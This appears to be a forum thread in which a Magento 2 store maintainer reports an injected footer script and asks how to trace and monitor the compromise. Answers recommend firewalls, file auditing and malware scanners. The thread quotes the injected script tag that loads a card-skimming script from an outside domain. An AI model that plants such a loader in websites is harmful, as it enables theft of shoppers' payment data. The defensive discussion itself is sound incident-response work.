2

Today i noticed in my client's magento 2 cloud hosted enterprise edition site is compromised. In footer hacker added some link along with following url:

  <script src="http://write-cdn.com/mysiteurl/"></script>

As i am maintaining their environment when i saw that link i was curious what is that. When i opened that link it first attempt it showed some JS related encrypted code so i got some doubt about it.

Did perform scan in tools like sucuri and foregenix to verify site is malware infected. Both scanner showed result clean but when i ran http://write-cdn.com/ in sucuri it gave me red alert that domain is blacklisted for malware activities.

I removed that code from mysite and performed Db scan by checking blocks, pages, core_config_data and few other tables. did check code using grep linux command to find out but didn't find any clue.

I want to know how that code injected in site. I did check admin logs, magento logs, nginx logs. Also created magento support ticket but those guys just useless and giving zero information how someone entered that code. admin access is shared with 2 person and all have secure and 20 character special character password.

Is there any way i can track from where that malware code came?
Is there any tool or way i can quickly scan and monitor for magento?

Is there any way i check who changed into db directly like logging or something?

Any help would be appreciated.

  • What was it in? Static block content? – Dominic Xigen Jul 19 at 19:39
  • In Miscellaneous > Footer field injected js code which was capturing CC activity. it can not be detected by the antivirus as well. – Jackson Wyss Jul 29 at 3:47
2

you must have some monitoring enabled. you can use all these tools, or some of them, configure some options and settings.

csf firewall

fast software firewall with easy to use config + cli:
https://configserver.com/cp/csf.html

WAZUH (OSSEC mod) + ELK stack

you can configure it to monitor and run some actions. 
Kibana dashboard + email reports. remote and local agents.
https://wazuh.com/

mwscan

basic magento malware scanner:
https://github.com/gwillem/magento-malware-scanner/blob/master/docs/usage.md

system audit.

monitor files and actions.
configure auditctl to log:
$ auditctl -w /home/magento/app/Mage.php -p wa -k mage_malware
then check whats going on:
$ ausearch -k mage_malware | aureport -f -i

Watchman

 exists to watch files and record when they change. 
 It can also trigger actions (such as rebuilding assets) when matching files change.
 https://facebook.github.io/watchman/

malware is coming from many places - usually if you run other scripts or frameworks like wordpress, custom scripts, some tools installed in magento root folder. missing magento patches.

2

Most Magento 2 stores get hacked via Adminer or the March '19 SQL injection flaw. A smaller portion get breached via insecure extensions, brute force password guessing or spearphishing attacks against staff members. The only way to say for sure, is to analyze the log files and event log tables.

My Magento Malware Scanner (as referenced in the other answer) may be useful but is not regularly updated anymore. Most of my research flows into eComscan, a commercial vulnerability & malware scanner for Magento. You can run it for free for a month if you use coupon MWSCAN. It may yield hidden backdoors on your system.

Good luck on finding the root cause. If you find anything new, please do share with the community as others may benefit.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.